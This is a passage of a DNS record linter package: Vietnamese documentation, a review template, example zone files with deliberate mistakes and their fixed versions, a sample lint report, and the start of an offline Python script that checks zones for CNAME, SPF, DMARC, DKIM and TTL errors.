| DMARC_MISSING | MEDIUM | tên miền thư không có DMARC | không bao giờ | `v=DMARC1; p=none; rua=...` sau đó siết chặt dần |
| DKIM_NOT_FOUND | MEDIUM | không có selector trong tệp này | selector được lưu trữ ở nơi khác (kiểm tra trực tiếp) | công bố selector của nhà cung cấp |
| DKIM_REVOKED | MEDIUM | `p=` để trống | selector được chủ đích ngừng sử dụng (sau đó hãy xóa đi) | xóa bản ghi hoặc công bố khóa mới |
| SPF_NEUTRAL_ALL / SPF_NO_ALL / SPF_TERMS_AFTER_ALL | MEDIUM | chính sách yếu hoặc bị bỏ qua | giai đoạn thử nghiệm ngắn | kết thúc bằng `-all` / `~all` |
| MAYBE_MISSING_TRAILING_DOT | MEDIUM | trông giống tên bên ngoài vùng nhưng thiếu dấu chấm | thực sự là một tên tương đối | thêm dấu chấm |
| DANGLING_TARGET | MEDIUM | đích trong vùng không có bản ghi nào | được định nghĩa ở tệp hoặc view khác | thêm bản ghi hoặc sửa lại |
| MX_TARGET_NO_ADDRESS | MEDIUM | máy chủ thư không có A/AAAA | địa chỉ đến từ một vùng khác | thêm A/AAAA |
| PRIVATE_ADDRESS | MEDIUM | địa chỉ RFC 1918/loopback/link-local trong DNS công khai | vùng được chủ đích dùng riêng trong nội bộ | dùng DNS phân tách tầm nhìn (split-horizon) |
| TTL_TOO_LOW / TTL_TOO_HIGH | MEDIUM | dưới 60 s / trên 7 ngày | TTL ngắn trong đợt chuyển đổi theo kế hoạch; `_acme-challenge` | 300 s - 1 ngày |
| NS_MISSING / NS_SINGLE / SOA_MISSING | MEDIUM | tệp vùng (zone file) chưa hoàn chỉnh | NS/SOA do nhà cung cấp quản lý (đầu vào CSV bỏ qua phần này) | bổ sung đầy đủ |
| UNKNOWN_TYPE | MEDIUM | loại bản ghi không được nhận diện | loại bản ghi mới mà kịch bản chưa biết | kiểm tra lỗi chính tả |
| SPF_PTR / SPF_TYPE99 / SPF_LOOKUPS_NEAR_LIMIT | LOW | đã lỗi thời hoặc gần chạm ngưỡng giới hạn | - | thay thế / đếm trực tiếp các include lồng nhau |
| DMARC_MONITOR_ONLY / DMARC_NO_RUA / DMARC_PARTIAL_PCT | LOW | DMARC chưa thực thi chặn hoặc chưa gửi báo cáo | trong quá trình triển khai ban đầu | siết chặt sau khi xem xét báo cáo |
| DKIM_1024_KEY | LOW | RSA 1024-bit | nhà cung cấp không hỗ trợ 2048 | xoay vòng khóa khi có thể |
| NO_MAIL_POLICY / NULL_MX_SPF_NOT_FAIL | LOW | tên miền không dùng thư có thể bị giả mạo | - | null MX + `v=spf1 -all` + DMARC reject |
| CNAME_CHAIN / DUPLICATE_RECORD / CAA_MISSING / NO_DEFAULT_TTL / SOA_NEGATIVE_TTL_HIGH / INCLUDE_NOT_FOLLOWED | LOW | vệ sinh cấu hình (hygiene) | - | xem cột cách sửa trong báo cáo |
Mã thoát (Exit codes): 0 = không có lỗi HIGH, 1 = có lỗi HIGH, 2 = đầu vào không hợp lệ. Trong CI, hãy chặn ở mức HIGH và lưu danh sách `--ignore` bất kỳ trong kho mã nguồn kèm theo lý do.
## Các kiểm tra trực tiếp mà bộ linter không thể thực hiện (ngoại tuyến)
- Các đích nằm ngoài vùng: `dig +short A <target>`; một bản ghi CNAME trỏ tới máy chủ SaaS đã hủy đăng ký sẽ dẫn đến nguy cơ bị chiếm quyền điều khiển (subdomain takeover).
- Các include SPF lồng nhau: đếm đệ quy bằng `dig TXT <include>`, hoặc dùng công cụ kiểm tra SPF dựa trên bộ phân giải.
- Các selector DKIM do nhà cung cấp dịch vụ thư lưu trữ: `dig TXT <selector>._domainkey.<domain>` (Google: `google`, Microsoft 365: các bản ghi CNAME `selector1`/`selector2`).
- Ủy quyền (Delegation): `dig NS <domain> @a.gtld-servers.net` (hoặc máy chủ của TLD tương ứng) phải khớp với tập hợp NS của vùng.
FILE:templates/dns-review.md
# Đánh giá DNS: <domain>
**Nguồn:** <zone file / provider export, date> **Mục đích:** <website + Google Workspace mail + newsletter tool>
**Kết quả:** <HIGH n, MEDIUM n, LOW n> - <nhận định trong một câu, ví dụ: "việc gửi nhận thư đang gặp rủi ro cho đến khi SPF được gộp lại và MX được sửa">
## Cần sửa ngay (HIGH)
| # | Bản ghi hiện tại | Vấn đề | Thay thế bằng |
|---|---|---|---|
| 1 | `<@ CNAME bakery-site.example.net.>` | <CNAME ở đỉnh vùng làm ẩn MX/TXT> | `<@ A 192.0.2.10>` (hoặc ALIAS tại nhà cung cấp) |
| 2 | `<@ MX 10 mail.example.com>` | <thiếu dấu chấm ở cuối -> mail.example.com.example.com.> | `<@ MX 10 mail.example.com.>` |
## Cần sửa sớm (MEDIUM)
- <thêm TXT cho `_dmarc` với giá trị `v=DMARC1; p=none; rua=mailto:dmarc-reports@<domain>`>
## Vệ sinh cấu hình (LOW)
- <xóa bản ghi A trùng lặp của blog; thêm CAA>
## Tóm tắt xác thực thư điện tử
| Hạng mục | Hiện tại | Sau khi sửa |
|---|---|---|
| SPF | <2 bản ghi, ?all> | <1 bản ghi, bao gồm A + B, -all> |
| DKIM | <selector google 1024-bit, s2019 đã thu hồi> | <khóa 2048-bit, đã xóa selector ngừng sử dụng> |
| DMARC | <sai tên bản ghi> | <_dmarc p=none -> chuyển sang quarantine vào <date>> |
## Xác minh trực tiếp (chưa kiểm tra ngoại tuyến)
- `<dig +short CNAME shop.<domain>>` - <đích trỏ tới có còn được sử dụng không?>
- `<dig TXT google._domainkey.<domain>>` - <có khớp với bảng điều khiển của nhà cung cấp không?>
## Lộ trình triển khai (Rollout)
1. <hạ TTL của các bản ghi sắp thay đổi xuống 300 s, chờ hết một chu kỳ TTL cũ>
2. <áp dụng thay đổi, tăng số serial của SOA lên YYYYMMDDnn>
3. <xác minh bằng lệnh dig với máy chủ có thẩm quyền (authoritative servers) và bộ phân giải công khai; gửi một thư thử nghiệm và đọc tiêu đề Authentication-Results>
4. <nâng TTL trở lại 3600 s; xem xét các báo cáo DMARC sau 1-2 tuần>
**Hoàn tác (Rollback):** <các giá trị cũ được liệt kê ở trên; khôi phục lại chúng và chờ một chu kỳ TTL>
**Câu hỏi bỏ ngỏ:** <những dịch vụ nào gửi thư dưới danh nghĩa tên miền này? backupmx có còn được sử dụng không?>
FILE:examples/example.com.zone
; example.com - zone exported before the move to a new DNS host (has mistakes on purpose)
$ORIGIN example.com.
$TTL 3600
@ IN SOA ns1.example.net. hostmaster@example.com. (
2026103001 ; serial
7200 ; refresh
900 ; retry
1209600 ; expire
172800 ) ; minimum (negative caching)
@ IN NS ns1.example.net.
@ IN NS ns2.example.net.
; website moved to a static host
@ IN CNAME bakery-site.example.net.
www 30 IN CNAME bakery-site.example.net.
www IN TXT "site-verification=4f9c2a"
shop IN CNAME shops.myshopify.com
blog IN A 192.0.2.44
blog IN A 192.0.2.44
legacy 1209600 IN A 192.0.2.45
intranet IN A 10.0.4.12
; mail
@ IN MX 10 mail.example.com
@ IN MX 20 backupmx
backupmx IN CNAME mx2.example.net.
@ IN TXT "v=spf1 include:_spf.google.com ~all"
@ IN TXT "v=spf1 include:sendgrid.net ?all"
dmarc IN TXT "v=DMARC1; p=none"
google._domainkey IN TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDbNfaf4mo/6FvrWAv3WssXhXwsdrJxrAuhIVcYXdrMZp55PDpEjo63C/vOuaStp58YtZTnzQlm0V3rjtvOP1XgGAy3LWurXdRkT0zOGxx0AMgjZfD/8QDgjF6f4VW9zmNytbD3EgZXxeGZSBw8JtTdT/rOEygTgYL5+x5DftDSFQIDAQAB"
s2019._domainkey IN TXT "v=DKIM1; k=rsa; p="
FILE:examples/example.com.fixed.zone
; example.com - corrected zone
$ORIGIN example.com.
$TTL 3600
@ IN SOA ns1.example.net. hostmaster.example.com. (
2026103002 ; serial (bumped)
7200 ; refresh
900 ; retry
1209600 ; expire
3600 ) ; minimum (negative caching)
@ IN NS ns1.example.net.
@ IN NS ns2.example.net.
@ IN CAA 0 issue "letsencrypt.org"
; website: A/AAAA at the apex (or the provider's ALIAS/flattening), CNAME only below it
@ IN A 192.0.2.10
@ IN AAAA 2001:db8::10
www IN CNAME bakery-site.example.net.
_site-verification.www IN TXT "site-verification=4f9c2a"
shop IN CNAME shops.myshopify.com.
blog IN A 192.0.2.44
legacy IN A 192.0.2.45
; intranet moved to the internal (split-horizon) view
; mail
@ IN MX 10 mail.example.com.
@ IN MX 20 mx2.example.net.
mail IN A 192.0.2.25
@ IN TXT "v=spf1 include:_spf.google.com include:sendgrid.net -all"
_dmarc IN TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc-reports@example.com"
google._domainkey IN TXT ( "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz7ouq6bH4GbHRPASRa3m/LiSvOKSZ7L7KZqE231EHY1s8FN9criBQkJXXmxkwPERQSVSyRIC4LjSpxwPTe6LEVhg7nrswTX1ktBbXMUmkgj8CPKV+yWzOsDOMk7kjqghuNWXD/R5K/mT7xbTiCaXztegoQi+"
"kVXf0xuMmQYLxVthdjIz1h2PORFhtjzwKYbpaMKjq2BWKIaNtaGBxc2kaSLyPw8W65+A7XeLhtKT8zcteU72IpdmibNsHlkBR0Hb7rQgb+0LgNVqPvF/mm37PKFPQPrfWjjL/Fc1MQoCm8jO3kI0O5ssuP7KKO7ZjtT4ekeHytw23INuPh/Kw1LqzwIDAQAB" )
FILE:examples/lint-report.md
# Báo cáo kiểm tra (lint) bản ghi DNS: example.com.zone
Vùng: example.com. Định dạng: zone Số bản ghi: 19 Phát hiện: 19 (HIGH 7, MEDIUM 8, LOW 4)
| Mức độ | Mã | Dòng | Tên | Loại | Vấn đề | Cách sửa |
|---|---|---|---|---|---|---|
| HIGH | SOA_RNAME_AT | 4 | @ | SOA | thông tin liên hệ 'hostmaster@example.com.' chứa ký tự '@'; trong DNS ký tự này phải được viết bằng dấu chấm | viết thông tin liên hệ là hostmaster.example.com. (ký tự @ đầu tiên đổi thành dấu chấm) |
| LOW | SOA_NEGATIVE_TTL_HIGH | 4 | @ | SOA | giá trị minimum của SOA là 172800 s: một tên bị xóa rồi thêm lại sẽ bị lưu trong bộ nhớ đệm là 'không tồn tại' suốt khoảng thời gian đó | đặt giá trị minimum của SOA (TTL lưu đệm âm) thành 300-3600 s |
| HIGH | CNAME_AT_APEX | 14 | @ | CNAME | CNAME tại đỉnh vùng (zone apex) xung đột với các bản ghi SOA và NS tại đó; việc tra cứu thư và các truy vấn khác sẽ bị lỗi | sử dụng các bản ghi A/AAAA ở đỉnh vùng, hoặc bản ghi ALIAS/ANAME/CNAME-flattening của nhà cung cấp |
| HIGH | CNAME_WITH_OTHER_DATA | 15 | www | CNAME | tên này có cả CNAME lẫn TXT; các bộ phân giải sẽ chỉ trả về CNAME | một tên đã có CNAME thì không được phép có bản ghi nào khác: hãy chuyển các bản ghi khác đi nơi khác hoặc thay thế CNAME bằng A/AAAA |
| MEDIUM | TTL_TOO_LOW | 15 | www | CNAME | TTL 30 s: làm tăng tải truy vấn, tra cứu chậm hơn, và nhiều bộ phân giải đằng nào cũng tự nâng giá trị này lên | sử dụng 300 s trở lên cho các bản ghi thông thường (chỉ hạ thấp khi có thay đổi theo kế hoạch) |
| MEDIUM | MAYBE_MISSING_TRAILING_DOT | 17 | shop | CNAME | 'shops.myshopify.com' trông giống một tên máy chủ đầy đủ nhưng không có dấu chấm ở cuối, nên sẽ bị hiểu thành shops.myshopify.com.example.com. | nếu đây là một tên máy chủ bên ngoài, hãy thêm dấu chấm ở cuối |
| LOW | DUPLICATE_RECORD | 19 | blog | A | giống hệt dòng 18 | xóa bản ghi bị trùng lặp |
| MEDIUM | TTL_TOO_HIGH | 20 | legacy | A | TTL 1209600 s (14 ngày): một giá trị sai sẽ bị lưu giữ trong bộ nhớ đệm suốt khoảng thời gian đó | sử dụng từ 1 giờ đến 1 ngày; nếu trên một tuần, các sai sót sẽ mất cả tuần để khắc phục |
| MEDIUM | PRIVATE_ADDRESS | 21 | intranet | A | 10.0.4.12 là địa chỉ nội bộ (private)/loopback; người dùng bên ngoài không thể truy cập và nó làm lộ cấu trúc mạng nội bộ | không công bố địa chỉ nội bộ/loopback trong một vùng công khai (hãy sử dụng DNS phân tách tầm nhìn - split-horizon DNS nếu cần) |
| HIGH | MISSING_TRAILING_DOT | 24 | @ | MX | 'mail.example.com' không có dấu chấm ở cuối, nên sẽ bị hiểu thành mail.example.com.example.com. | kết thúc các tên miền đủ điều kiện (FQDN) bằng một dấu chấm (mail.example.com.) hoặc viết ở dạng tương đối (mail) |
| MEDIUM | DANGLING_TARGET | 24 | @ | MX | đích MX mail không có bản ghi nào trong vùng này | thêm bản ghi trong vùng còn thiếu hoặc sửa lại tên đích |
| HIGH | MX_TO_CNAME | 25 | @ | MX | đích MX backupmx là một CNAME (không được phép theo RFC 2181 10.3) | trỏ MX vào một tên có các bản ghi A/AAAA (đích cuối cùng của CNAME) |
| HIGH | SPF_MULTIPLE | 28 | @ | TXT | có 2 bản ghi v=spf1 tại tên này (dòng 27, 28) | gộp thành MỘT bản ghi v=spf1 duy nhất; việc có hai bản ghi sẽ làm mọi kiểm tra SPF bị lỗi (permerror) |
| MEDIUM | SPF_NEUTRAL_ALL | 28 | @ | TXT | '?all' mang tính trung lập: những người gửi trái phép không bị đánh dấu | sử dụng ~all hoặc -all; ?all không cung cấp tín hiệu xử lý nào cho bên nhận |
| HIGH | DMARC_WRONG_NAME | 29 | dmarc | TXT | bản ghi DMARC không nằm tại _dmarc.<domain>, nên bên nhận không bao giờ nhìn thấy nó | DMARC chỉ được đọc từ _dmarc.<domain>; hãy chuyển bản ghi về đó |
| LOW | DKIM_1024_KEY | 30 | google._domainkey | TXT | khóa RSA có độ dài 1024 bit; mức khuyến nghị hiện nay là 2048 | lên kế hoạch xoay vòng sang khóa 2048-bit |
| MEDIUM | DKIM_REVOKED | 31 | s2019._domainkey | TXT | p= để trống: selector này đã bị thu hồi và thư được ký bằng nó sẽ trượt kiểm tra DKIM | giá trị p= rỗng có tác dụng thu hồi khóa; hãy xóa bản ghi nếu selector đã ngừng sử dụng, hoặc công bố khóa mới |
| MEDIUM | DMARC_MISSING | - | _dmarc | TXT | không có bản ghi DMARC: bên nhận không thể phân biệt thư giả mạo với thư thật của bạn, đồng thời Gmail/Yahoo yêu cầu DMARC đối với người gửi số lượng lớn | thêm bản ghi TXT tại _dmarc: "v=DMARC1; p=none; rua=mailto:dmarc@<domain>" sau đó chuyển dần sang quarantine/reject |
| LOW | CAA_MISSING | - | @ | CAA | không có bản ghi CAA: bất kỳ CA công khai nào cũng có thể cấp chứng chỉ cho tên miền này | tăng cường bảo mật tùy chọn: CAA 0 issue "<CA của bạn>" giúp giới hạn tổ chức nào được phép cấp chứng chỉ |
## Các đích ngoài vùng cần kiểm tra trực tiếp (không thực hiện lệnh gọi mạng nào)
| Đích | Được sử dụng bởi |
|---|---|
| bakery-site.example.net. | @ CNAME (dòng 14); www CNAME (dòng 15) |
| mx2.example.net. | backupmx CNAME (dòng 26) |
| ns1.example.net. | @ NS (dòng 10) |
| ns2.example.net. | @ NS (dòng 11) |
| shops.myshopify.com. | shop CNAME (dòng 17) |
FILE:scripts/dns_lint.py
#!/usr/bin/env python3
"""DNS zone record linter (Python 3.8+ standard library only, works offline).
Reads a BIND-style zone file or a CSV record list exported from a DNS provider and
reports common mistakes before they break web or mail delivery:
CNAME at the apex or next to other records, MX/NS pointing at a CNAME or an IP,
missing trailing dots (mail.example.com -> mail.example.com.example.com.), missing or
duplicate SPF, SPF syntax, +all/?all and the 10-lookup limit, DMARC and DKIM presence
and syntax, weak or revoked DKIM keys, TTL extremes, private addresses in a public
zone, SOA mistakes, duplicate records, and domains that send no mail but have no
"no mail" policy. Out-of-zone targets are listed for a separate live check.
Usage:
python3 dns_lint.py example.com.zone [--origin example.com] [--json]
[--min-severity LOW|MEDIUM|HIGH] [--ignore CODE,CODE]
python3 dns_lint.py records.csv --origin example.com (CSV columns: name,type,value[,ttl][,priority])
python3 dns_lint.py --self-test
Zone files: $ORIGIN, $TTL, @, relative names, blank owner (repeat previous), optional
TTL/class in either order, ( ) multi-line records, ; comments, quoted TXT strings.
Exit codes: 0 = no HIGH findings, 1 = HIGH findings, 2 = bad input.
"""
import argparse, base64, csv, io, ipaddress, json, os, re, sys
SEVERITIES = ["LOW", "MEDIUM", "HIGH"]
CLASSES = {"IN", "CH", "HS"}
TYPES = {"A", "AAAA", "CNAME", "MX", "NS", "TXT", "SPF", "SOA", "SRV", "CAA", "PTR", "DNAME",
"ALIAS", "ANAME", "DS", "DNSKEY", "RRSIG", "NSEC", "NSEC3", "NSEC3PARAM", "HTTPS",
"SVCB", "TLSA", "NAPTR", "SSHFP", "LOC", "HINFO", "CDS", "CDNSKEY"}
DNSSEC_TYPES = {"RRSIG", "NSEC", "NSEC3", "KEY"}
TARGET_TYPES = {"CNAME": -1, "MX": 1, "NS": 0, "PTR": 0, "DNAME": 0, "SRV": 3, "ALIAS": 0, "ANAME": 0}
COMMON_TLDS = set("com net org edu gov mil int io co dev app ai info biz me tv cloud xyz site online "
"shop store tech us uk de fr nl eu es it se no dk fi pl cz at ch be pt ie tr ru "
"jp cn kr in au nz ca br mx ar za sg hk tw".split())
INTERNAL_NETS = [ipaddress.ip_network(n) for n in (
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16",
"0.0.0.0/8", "::1/128", "::/128", "fc00::/7", "fe80::/10")] # documentation ranges (192.0.2.0/24, 2001:db8::/32) are allowed
SPF_LOOKUP_TERMS = ("include", "a", "mx", "ptr", "exists", "redirect")
FIXES = {
"CNAME_AT_APEX": "use A/AAAA records at the apex, or your provider's ALIAS/ANAME/CNAME-flattening record",
"CNAME_WITH_OTHER_DATA": "a name with a CNAME may have no other records: move the other records or replace the CNAME with A/AAAA",
"MULTIPLE_CNAME": "keep exactly one CNAME for the name",
"MX_TO_CNAME": "point MX at a name with A/AAAA records (the CNAME's final target)",
"NS_TO_CNAME": "point NS at the name server's real host name (A/AAAA)",
"TARGET_IS_IP": "use a host name here and give that host an A/AAAA record",
"MISSING_TRAILING_DOT": "end fully qualified names with a dot (mail.example.com.) or write the relative form (mail)",
"MAYBE_MISSING_TRAILING_DOT": "if this is an outside host name, add the trailing dot",
"OWNER_DOUBLED_ORIGIN": "end the owner name with a dot or write it relative (www)",
"DANGLING_TARGET": "add the missing in-zone record or fix the target name",
"CNAME_CHAIN": "point straight at the final name; chains add lookups and break when one link changes",
"MX_TARGET_NO_ADDRESS": "add A/AAAA records for the mail host",
"NULL_MX_WITH_OTHERS": "a null MX ('0 .') must be the only MX; remove it or the others",
"SPF_MISSING": "publish one TXT \"v=spf1 ... -all\" (or ~all while testing) listing every service that sends as this domain",
"SPF_MULTIPLE": "merge into ONE v=spf1 record; two records make every SPF check fail (permerror)",
"SPF_TYPE99": "delete the SPF-type record; only the TXT record is used (RFC 7208)",
"SPF_SYNTAX": "fix the term; one bad term makes the whole record a permerror",
"SPF_PASS_ALL": "end with -all (or ~all while testing); +all lets anyone send as you",
"SPF_NEUTRAL_ALL": "use ~all or -all; ?all gives receivers no signal",
"SPF_NO_ALL": "end the record with -all or ~all (or redirect=)",
"SPF_TERMS_AFTER_ALL": "move 'all' to the end; terms after it are ignored",
"SPF_TOO_MANY_LOOKUPS": "flatten or remove includes, drop a/mx/ptr terms you do not need; nested includes count too",
"SPF_LOOKUPS_NEAR_LIMIT": "count nested includes with a live checker; they add to this number",
"SPF_PTR": "replace ptr with ip4/ip6 or include (ptr is deprecated and slow)",
"TXT_STRING_TOO_LONG": "split into quoted chunks of at most 255 characters: \"part1\" \"part2\"",
"DMARC_MISSING": "add TXT at _dmarc: \"v=DMARC1; p=none; rua=mailto:dmarc@<domain>\" then move to quarantine/reject",
"DMARC_MULTIPLE": "keep one DMARC record; with two, receivers ignore DMARC entirely",
"DMARC_SYNTAX": "start with v=DMARC1; and include p=none|quarantine|reject",
"DMARC_WRONG_NAME": "DMARC is only read from _dmarc.<domain>; move the record there",
"DMARC_MONITOR_ONLY": "after reviewing reports, move to p=quarantine, then p=reject",
"DMARC_NO_RUA": "add rua=mailto:... so you get aggregate reports",
"DMARC_PARTIAL_PCT": "raise pct to 100 once reports look clean",
"DKIM_NOT_FOUND": "publish the DKIM selector record(s) your mail provider gives you (<selector>._domainkey)",
"DKIM_WRONG_NAME": "DKIM keys live at <selector>._domainkey.<domain>",
"DKIM_REVOKED": "empty p= revokes the key; remove the record if the selector is retired, or publish the new key",
"DKIM_BAD_KEY": "copy the key again from the provider (base64, no spaces or quotes inside)",
"DKIM_WEAK_KEY": "rotate to a 2048-bit RSA key (or add an ed25519 selector alongside RSA)",
"DKIM_1024_KEY": "plan rotation to a 2048-bit key",
"NO_MAIL_POLICY": "for a domain that never sends mail: MX 0 . , TXT \"v=spf1 -all\" and _dmarc \"v=DMARC1; p=reject\"",
"NULL_MX_SPF_NOT_FAIL": "a no-mail domain should publish \"v=spf1 -all\"",
"TTL_TOO_LOW": "use 300 s or more for normal records (lower only for a planned change)",
"TTL_TOO_HIGH": "use 1 h to 1 day; above a week, mistakes take a week to undo",
"TTL_INVALID": "TTL must be 0..2147483647 seconds",
"NO_DEFAULT_TTL": "add $TTL at the top of the zone (e.g. $TTL 3600)",
"SOA_MISSING": "a zone file needs exactly one SOA at the apex",
"SOA_RNAME_AT": "write the contact as hostmaster.example.com. (first @ becomes a dot)",
"SOA_NEGATIVE_TTL_HIGH": "set the SOA minimum (negative-caching TTL) to 300-3600 s",
"NS_MISSING": "list the zone's name servers as NS records at the apex",
"NS_SINGLE": "use at least two name servers on separate networks",
"BAD_ADDRESS": "fix the address",
"WRONG_ADDRESS_FAMILY": "A takes IPv4, AAAA takes IPv6",
"PRIVATE_ADDRESS": "do not publish private/loopback addresses in a public zone (use split-horizon DNS if needed)",
"DUPLICATE_RECORD": "delete the duplicate",
"CAA_MISSING": "optional hardening: CAA 0 issue \"<your CA>\" limits who may issue certificates",
"UNKNOWN_TYPE": "check the record type spelling",
"PARSE_ERROR": "fix the line syntax",
"INCLUDE_NOT_FOLLOWED": "lint the included file separately",
}
class InputError(Exception):
pass
class Rec:
__slots__ = ("line", "name", "raw_name", "ttl", "type", "rdata", "raw")
def __init__(self, line, name, raw_name, ttl, rtype, rdata, raw):
self.line, self.name, self.raw_name, self.ttl = line, name, raw_name, ttl
self.type, self.rdata, self.raw = rtype, rdata, raw
def parse_ttl(tok):
t = tok.lower()
if t.isdigit():
return int(t)
m = re.fullmatch(r"((\d+)[wdhms])+", t)
if not m:
return None
mult = {"w": 604800, "d": 86400, "h": 3600, "m": 60, "s": 1}
return sum(int(n) * mult[u] for n, u in re.findall(r"(\d+)([wdhms])", t))
def tokenize(text):
"""Split one logical line into tokens; quoted strings keep their quotes."""
toks, i, n = [], 0, len(text)
while i < n:
c = text[i]
if c.isspace():
i += 1
elif c == '"':
j, buf = i + 1, ['"']
while j < n and text[j] != '"':
if text[j] == "\\" and j + 1 < n:
buf.append(text[j:j + 2]); j += 2; continue
buf.append(text[j]); j += 1
if j >= n:
raise InputError("unterminated quoted string")
buf.append('"'); toks.append("".join(buf)); i = j + 1
else:
j = i
while j < n and not text[j].isspace() and text[j] != '"':
j += 1
toks.append(text[i:j]); i = j
return toks
def strip_comment(line):
out, inq, i = [], False, 0
while i < len(line):
c = line[i]
if c == "\\" and i + 1 < len(line):
out.append(line[i:i + 2]); i += 2; continue
if c == '"':
inq = not inq
elif c == ";" and not inq:
break
out.append(c); i += 1
return "".join(out)
def logical_lines(text):
"""Yield (line_no, starts_with_space, content) joining ( ... ) groups."""
buf, start, depth, lead = [], 0, 0, False
for no, line in enumerate(text.splitlines(), 1):
body = strip_comment(line)
if depth == 0:
if not body.strip():
continue
start, lead, buf = no, body[:1].isspace(), []
inq = False
clean = []
for c in body:
if c == '"':
inq = not inq
if not inq and c in "()":
depth += 1 if c == "(" else -1
clean.append(" ")
continue
clean.append(c)
buf.append("".join(clean))
if depth <= 0:
depth = 0
yield start, lead, " ".join(buf)
if depth > 0:
raise InputError(f"line {start}: '(' is never closed")
def absname(raw, origin):
if raw == "@":
return origin
if raw.endswith("."):
return raw.lower()
return (raw + "." + origin).lower() if origin != "." else raw.lower() + "."
def parse_zone(text, origin, findings):
recs, last_owner, default_ttl, have_ttl_directive = [], None, None, False
for no, lead, content in logical_lines(text):
toks = tokenize(content)
if not toks:
continue
if toks[0].upper() == "$ORIGIN":
if len(toks) < 2:
raise InputError(f"line {no}: $ORIGIN needs a name")
origin = absname(toks[1], origin) if not toks[1].endswith(".") else toks[1].lower()
continue
if toks[0].upper() == "$TTL":
v = parse_ttl(toks[1]) if len(toks) > 1 else None
if v is None:
raise InputError(f"line {no}: bad $TTL")
default_ttl, have_ttl_directive = v, True
continue
if toks[0].upper() == "$INCLUDE":
add(findings, "LOW", "INCLUDE_NOT_FOLLOWED", no, "", "", f"$INCLUDE {toks[1] if len(toks) > 1 else ''} was not read")
continue
if lead:
if last_owner is None:
raise InputError(f"line {no}: record has no owner name and there is no previous one")
raw_owner = None
else:
raw_owner = toks.pop(0)
ttl, rtype = None, None
while toks:
t = toks[0]
if t.upper() in CLASSES:
toks.pop(0); continue
v = parse_ttl(t)
if v is not None and ttl is None and not t.upper() in TYPES:
ttl = v; toks.pop(0); continue
break
if not toks:
add(findings, "HIGH", "PARSE_ERROR", no, raw_owner or "", "", f"no record type in '{content.strip()}'")
continue
rtype = toks.pop(0).upper()
if rtype not in TYPES and not re.fullmatch(r"TYPE\d+", rtype):
add(findings, "MEDIUM", "UNKNOWN_TYPE", no, raw_owner or "", rtype, f"unknown record type '{rtype}'")
if raw_owner is not None:
name = absname(raw_owner, origin)
last_owner = (name, raw_owner)
name, raw_name = last_owner
recs.append(Rec(no, name, raw_name, ttl, rtype, toks, content.strip()))
return recs, origin, default_ttl, have_ttl_directive
def parse_csv(text, origin, findings):
rows = list(csv.DictReader(io.StringIO(text)))
if not rows:
raise InputError("CSV has no rows")
cols = {c.lower().strip(): c for c in rows[0].keys() if c}
for need in ("name", "type", "value"):
if need not in cols:
raise InputError(f"CSV needs columns name,type,value[,ttl][,priority] (missing '{need}')")
recs = []
base = origin.rstrip(".")
for i, r in enumerate(rows, 2):
g = lambda k: (r.get(cols[k]) or "").strip() if k in cols else ""
raw = g("name") or "@"
low = raw.lower().rstrip(".")
if raw == "@" or low == base:
name = origin
elif low.endswith("." + base):
name = low + "."
else:
name = low + "." + origin
rtype = g("type").upper()
value = g("value")
ttl = parse_ttl(g("ttl")) if g("ttl") else None
if rtype in ("TXT", "SPF"):
v = value
if not v.startswith('"'):
v = '"' + v.replace('"', '\\"') + '"'
toks = tokenize(v)
else:
toks = value.split()
if rtype in TARGET_TYPES and toks: # provider UIs show host names without the dot
idx = TARGET_TYPES[rtype]
if rtype == "MX" and len(toks) == 1:
toks = [g("priority") or "10"] + toks
if rtype == "SRV" and len(toks) == 3 and g("priority"):
toks = [g("priority")] + toks
k = len(toks) - 1 if idx == -1 else min(idx, len(toks) - 1)
if not toks[k].endswith(".") and toks[k] != "@":
toks[k] += "."
recs.append(Rec(i, name, raw, ttl, rtype, toks, ",".join(r.get(c) or "" for c in r)))
return recs, origin
def add(findings, sev, code, line, name, rtype, problem):
findings.append({"severity": sev, "code": code, "line": line, "name": name, "type": rtype,
"problem": problem, "fix": FIXES.get(code, "")})
def txt_strings(rec):
out = []
for t in rec.rdata:
if t.startswith('"') and t.endswith('"'):
out.append(re.sub(r"\\(.)", r"\1", t[1:-1]))
else:
out.append(t)
return out
def short(name, origin):
if name == origin:
return "@"
if name.endswith("." + origin):
return name[: -len(origin) - 1]
return name
def lint(text, origin=None, fmt=None, filename=""):
findings = []
if fmt is None:
fmt = "csv" if filename.lower().endswith(".csv") or text.lstrip().lower().startswith("name,") else "zone"
if origin is None:
m = re.search(r"^\$ORIGIN\s+(\S+)", text, re.M | re.I)
if m:
origin = m.group(1)
elif filename:
b = os.path.basename(filename)
for suf in (".zone", ".db", ".txt", ".csv"):
if b.lower().endswith(suf):
b = b[: -len(suf)]
for pre in ("db.",):
if b.startswith(pre):
b = b[len(pre):]
origin = b if "." in b else None
if not origin:
raise InputError("cannot tell the zone name: add $ORIGIN or pass --origin example.com")
origin = origin.lower().rstrip(".") + "."
if fmt == "csv":
recs, origin = parse_csv(text, origin, findings)
default_ttl, have_ttl = None, True
else:
recs, origin, default_ttl, have_ttl = parse_zone(text, origin, findings)
base = origin.rstrip(".")
by_name = {}
for r in recs:
by_name.setdefault(r.name, []).append(r)
types_at = lambda n: {r.type for r in by_name.get(n, [])}
in_zone = lambda n: n == origin or n.endswith("." + origin)
externals = {}
# SOA / NS / TTL
soa = [r for r in recs if r.type == "SOA"]
if fmt == "zone":
if not soa:
add(findings, "MEDIUM", "SOA_MISSING", 0, "@", "SOA", "no SOA record in the zone file")
for r in soa:
if len(r.rdata) >= 7:
rname = r.rdata[1]
if "@" in rname:
add(findings, "HIGH", "SOA_RNAME_AT", r.line, short(r.name, origin), "SOA", f"contact '{rname}' contains '@'; in DNS it is written with a dot")
neg = parse_ttl(r.rdata[6])
if neg is not None and neg > 86400:
add(findings, "LOW", "SOA_NEGATIVE_TTL_HIGH", r.line, short(r.name, origin), "SOA", f"SOA minimum {neg} s: a deleted-then-added name stays 'does not exist' in caches that long")
if default_ttl is None and neg is not None:
default_ttl = neg
else:
add(findings, "HIGH", "PARSE_ERROR", r.line, short(r.name, origin), "SOA", "SOA needs 7 fields: mname rname serial refresh retry expire minimum")
